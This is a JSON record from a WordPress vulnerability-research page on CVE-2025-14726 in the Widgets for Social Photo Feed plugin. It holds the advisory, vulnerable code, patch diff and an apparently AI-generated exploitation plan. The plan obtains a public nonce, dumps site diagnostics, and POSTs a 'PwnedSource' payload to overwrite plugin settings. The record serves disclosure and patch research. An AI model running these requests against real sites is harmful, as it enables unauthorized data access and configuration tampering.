[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fecUWCU2JIB3FkzNNh5ANsB6H3644LxdzF6drzRsTIsk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2025-14726","widgets-for-social-photo-feed-missing-authentication-to-unauthenticated-plugin-settings-accessupdate-via-trustindexfeedh","Widgets for Social Photo Feed \u003C= 1.8 - Missing Authentication to Unauthenticated Plugin Settings Access\u002FUpdate via trustindex_feed_hook_instagram REST API endpoints","The Widgets for Social Photo Feed plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a missing capability check on the '\u002Ftrustindex_feed_hook_instagram\u002Ftroubleshooting' and '\u002Ftrustindex_feed_hook_instagram\u002Fsubmit-data' REST API endpoints in all versions up to, and including, 1.8. This makes it possible for unauthenticated attackers to access and update plugin settings.","social-photo-feed-widget",null,"\u003C=1.8","1.8.1","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:L","Exposure of Sensitive Information to an Unauthorized Actor","2026-05-01 15:55:19","2026-05-02 04:27:46",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fab15fa8b-4072-435a-8a1c-ca6fd964a260?source=api-prod",1,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Ffrontend-notifictions.css","include\u002Ftrustindex-elementor-widgets.php","include\u002Funinstall.php","readme.txt","social-photo-feed-widget.php","tabs\u002Fadvanced.php","tabs\u002Ffeed-configurator.php","trustindex-feed-plugin.class.php","researched",false,3,"This analysis details a vulnerability in the **Widgets for Social Photo Feed** plugin (\u003C= 1.8), where several REST API endpoints lack proper capability checks, allowing unauthenticated attackers to access sensitive information and modify plugin settings.\n\n### 1. Vulnerability Summary\nThe plugin registers a REST API namespace `trustindex_feed_hook_instagram` with several endpoints. While these endpoints attempt a custom authentication check via a function `getAuthError()`, the plugin also provides a public endpoint `\u002Fget-token` that generates and returns the very nonce required to pass this check. Furthermore, the `permission_callback` for all these routes is set to `__return_true`, effectively bypassing WordPress's built-in REST API authorization.\n\n### 2. Attack Vector Analysis\n*   **Endpoints:** \n    *   `GET \u002Fwp-json\u002Ftrustindex_feed_hook_instagram\u002Fget-token` (Used to obtain the nonce)\n    *   `GET \u002Fwp-json\u002Ftrustindex_feed_hook_instagram\u002Ftroubleshooting` (Information Exposure)\n    *   `POST \u002Fwp-json\u002Ftrustindex_feed_hook_instagram\u002Fsubmit-data` (Settings Modification)\n    *   `GET \u002Fwp-json\u002Ftrustindex_feed_hook_instagram\u002Frefresh-data` (Data Exposure)\n*   **Namespace:** `trustindex_feed_hook_instagram` (dynamically generated via `getWebhookAction()` in `trustindex-feed-plugin.class.php`)\n*   **Authentication:** None required (unauthenticated).\n*   **Preconditions:** The plugin must be active.\n\n### 3. Code Flow\n1.  **Registration:** In `social-photo-feed-widget.php` (lines 127-183), the plugin uses `register_rest_route` to define hooks.\n2.  **Auth Bypass:** Each route defines `'permission_callback' => '__return_true'`.\n3.  **The \"Key\" to the Vault:** The `\u002Fget-token` endpoint (lines 128-135) calls `wp_create_nonce('admin_action_nonce')` and returns it in a JSON response.\n4.  **The Vulnerable Sink:** The `\u002Fsubmit-data` endpoint (lines 154-183) calls `getAuthError($request)`. Based on the `\u002Fget-token` endpoint, `getAuthError` expects a `nonce` parameter matching `admin_action_nonce`.\n5.  **Execution:** Once the nonce check is passed, `\u002Fsubmit-data` takes the `data` parameter, unsanitizes it (via `wp_unslash`), passes it to `sanitizeJsonData`, and then calls `saveConnectedSource($source)`. This function updates the WordPress option `trustindex-instagram-source`.\n\n### 4. Nonce Acquisition Strategy\nUnlike typical WordPress vulnerabilities requiring complex extraction, this plugin provides the nonce directly via its own API.\n\n1.  **Action String:** `admin_action_nonce`\n2.  **Acquisition Method:** Send a simple GET request to the REST API.\n3.  **HTTP Request:**\n    ```http\n    GET \u002Fwp-json\u002Ftrustindex_feed_hook_instagram\u002Fget-token HTTP\u002F1.1\n    Host: localhost\n    ```\n4.  **Expected Response:** `{\"nonce\":\"[10_digit_nonce]\"}`\n\n### 5. Exploitation Strategy\n\n#### Step 1: Obtain the Nonce\nUse the `http_request` tool to fetch the nonce.\n\n#### Step 2: Information Disclosure (Troubleshooting)\nAccess the troubleshooting data which contains system environment details.\n*   **Method:** `GET`\n*   **URL:** `\u002Fwp-json\u002Ftrustindex_feed_hook_instagram\u002Ftroubleshooting`\n*   **Query Param:** `nonce=[obtained_nonce]`\n*   **Expected Result:** A `\u003Cpre>` block containing server info, versions, and internal plugin state.\n\n#### Step 3: Plugin Settings Modification\nModify the \"source\" configuration to prove modification capability.\n*   **Method:** `POST`\n*   **URL:** `\u002Fwp-json\u002Ftrustindex_feed_hook_instagram\u002Fsubmit-data`\n*   **Body (URL-encoded):**\n    ```\n    nonce=[obtained_nonce]&data={\"name\":\"PwnedSource\",\"user_id\":\"12345\",\"active\":true}\n    ```\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n\n### 6. Test Data Setup\n1.  Install and activate **Widgets for Social Photo Feed** version 1.7.9 or 1.8.\n2.  No specific settings are required as the vulnerability exists in the default state upon activation.\n\n### 7. Expected Results\n*   **Success (Get Token):** HTTP 200 with a JSON body containing a 10-character alphanumeric nonce.\n*   **Success (Troubleshooting):** HTTP 200 with a text\u002Fhtml response displaying internal server diagnostics.\n*   **Success (Submit Data):** HTTP 200 with a JSON body containing a `token` (the `public-id` option value).\n\n### 8. Verification Steps\nAfter the `POST` request, verify the database state using WP-CLI:\n```bash\n# Check if the 'source' option was updated\nwp option get trustindex-instagram-source --format=json\n```\nThe output should contain `\"name\":\"PwnedSource\"`.\n\n### 9. Alternative Approaches\nIf `getAuthError` does not accept the nonce via query parameters, it may expect it in an HTTP header:\n*   **Alternative Header:** `X-WP-Nonce: [obtained_nonce]` or `X-Trustindex-Auth: [obtained_nonce]`\n\nIf the `\u002Fsubmit-data` endpoint requires specific JSON structure to avoid early return, use the structure found in `getConnectedSource()`:\n```json\n{\n    \"name\": \"{\\\"val\\\":\\\"Exploit\\\"}\",\n    \"user_id\": \"999\",\n    \"access_token\": \"malicious_token\"\n}\n```","The Widgets for Social Photo Feed plugin for WordPress contains several REST API endpoints that are unprotected by capability checks and rely on a nonce that is exposed via a public endpoint. This allows unauthenticated attackers to retrieve internal system diagnostics and modify plugin settings, including the connected Instagram source configuration.","\u002F\u002F social-photo-feed-widget.php lines 127-148\nadd_action('rest_api_init', function () use ($pluginManagerInstance) {\nregister_rest_route($pluginManagerInstance->getWebhookAction(), '\u002Fget-token', [\n'methods' => 'GET',\n'callback' => function () {\nreturn rest_ensure_response([\n'nonce' => wp_create_nonce('admin_action_nonce'),\n]);\n},\n'permission_callback' => '__return_true',\n]);\nregister_rest_route($pluginManagerInstance->getWebhookAction(), '\u002Ftroubleshooting', [\n'methods' => 'GET',\n'callback' => function (WP_REST_Request $request) use ($pluginManagerInstance) {\n$authError = $pluginManagerInstance->getAuthError($request);\nif (null !== $authError) {\nreturn $authError;\n}\nheader('Content-Type: text\u002Fhtml; charset=UTF-8');\nglobal $wpdb, $wp_version;\necho '\u003Cpre>';\ninclude $pluginManagerInstance->getPluginDir() . 'include' . DIRECTORY_SEPARATOR . 'troubleshooting.php';\necho '\u003C\u002Fpre>';\nexit;\n},\n'permission_callback' => '__return_true',\n]);\n\n---\n\n\u002F\u002F social-photo-feed-widget.php lines 154-171\nregister_rest_route($pluginManagerInstance->getWebhookAction(), '\u002Fsubmit-data', [\n'methods' => 'POST',\n'callback' => function (WP_REST_Request $request) use ($pluginManagerInstance) {\n$authError = $pluginManagerInstance->getAuthError($request);\nif (null !== $authError) {\nreturn $authError;\n}\n$oldSource = $pluginManagerInstance->getConnectedSource();\n\u002F*\nThis function ensures that each element of the JSON object is sanitized individually using standard WordPress sanitization functions\n*\u002F\n\u002F\u002F phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized\n$source = $pluginManagerInstance->sanitizeJsonData(wp_unslash($request->get_param('data')), false);","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsocial-photo-feed-widget\u002F1.7.9\u002Ftrustindex-feed-plugin.class.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsocial-photo-feed-widget\u002F1.8.1\u002Ftrustindex-feed-plugin.class.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsocial-photo-feed-widget\u002F1.7.9\u002Ftrustindex-feed-plugin.class.php\t2026-02-26 08:47:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsocial-photo-feed-widget\u002F1.8.1\u002Ftrustindex-feed-plugin.class.php\t2026-04-23 09:53:30.000000000 +0000\n@@ -122,6 +122,25 @@\n \n public function activate()\n {\n+$requestBody = [\n+'platform' => 'Instagram',\n+'website' => get_option('siteurl'),\n+];\n+$response = wp_remote_post('https:\u002F\u002Fadmin.trustindex.io\u002Fnew\u002Fwordpress-feed\u002Fregister', [\n+'headers' => [\n+'Content-Type' => 'application\u002Fx-www-form-urlencoded',\n+'ti-secure' => hash_hmac('sha256', http_build_query($requestBody), '80ce0e06b31b34794f5088d4875480f1'),\n+],\n+'body' => $requestBody,\n+'timeout' => '30',\n+'sslverify' => false,\n+]);\n+if (is_wp_error($response)) {\n+update_option($this->getOptionName('public-id'), $response->get_error_message(), false);\n+return;\n+}\n+$data = json_decode(wp_remote_retrieve_body($response), true);\n+update_option($this->getOptionName('public-id'), $data['public-id'] ?? $data['error'], false);\n include $this->getPluginDir() . 'include' . DIRECTORY_SEPARATOR . 'activate.php';\n if (!$this->getNotificationParam('rate-us', 'hidden', false) && $this->getNotificationParam('rate-us', 'active', true)) {\n $this->setNotificationParam('rate-us', 'active', true);\n@@ -5515,8 +5535,12 @@\n if (1800 \u003C (time() - $timestamp)) {\n return new WP_Error('expired', 'Request expired', ['status' => 401]);\n }\n+$publicId = get_option($this->getOptionName('public-id'));\n+if (!$publicId) {\n+return new WP_Error('missing_public_id', 'Public ID is missing', ['status' => 400]);\n+}\n $body = $request->get_body();\n-$expected = hash_hmac('sha256', $body.$timestamp, get_option($this->getOptionName('public-id'), $request->get_param('data')['public_id']));\n+$expected = hash_hmac('sha256', $body.$timestamp, $publicId);\n if (!hash_equals($expected, $signature)) {\n return new WP_Error('invalid_signature', 'Signature mismatch', ['status' => 403]);\n }","1. **Retrieve Valid Nonce**: Perform an unauthenticated GET request to `\u002Fwp-json\u002Ftrustindex_feed_hook_instagram\u002Fget-token`. This endpoint returns a valid nonce for the `admin_action_nonce` action.\n2. **Identify Target Endpoint**: Choose either `\u002Ftroubleshooting` (for information disclosure) or `\u002Fsubmit-data` (for modification).\n3. **Bypass Internal Auth**: Use the retrieved nonce in the `nonce` parameter. The `permission_callback` for the REST routes is set to `__return_true`, so the nonce is the only check protecting the functionality.\n4. **Execute Information Disclosure**: Send a GET request to `\u002Fwp-json\u002Ftrustindex_feed_hook_instagram\u002Ftroubleshooting?nonce=[NONCE]` to receive a full diagnostic dump of the site.\n5. **Execute Configuration Update**: Send a POST request to `\u002Fwp-json\u002Ftrustindex_feed_hook_instagram\u002Fsubmit-data` with the `nonce` parameter and a `data` parameter containing a JSON-encoded payload representing the new source configuration. This payload will be processed and used to update the `trustindex-instagram-source` option.","gemini-3-flash-preview","2026-05-04 17:19:28","2026-05-04 17:19:58",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.7.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsocial-photo-feed-widget\u002Ftags\u002F1.7.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsocial-photo-feed-widget.1.7.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsocial-photo-feed-widget\u002Ftags\u002F1.8.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsocial-photo-feed-widget.1.8.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsocial-photo-feed-widget\u002Ftags"]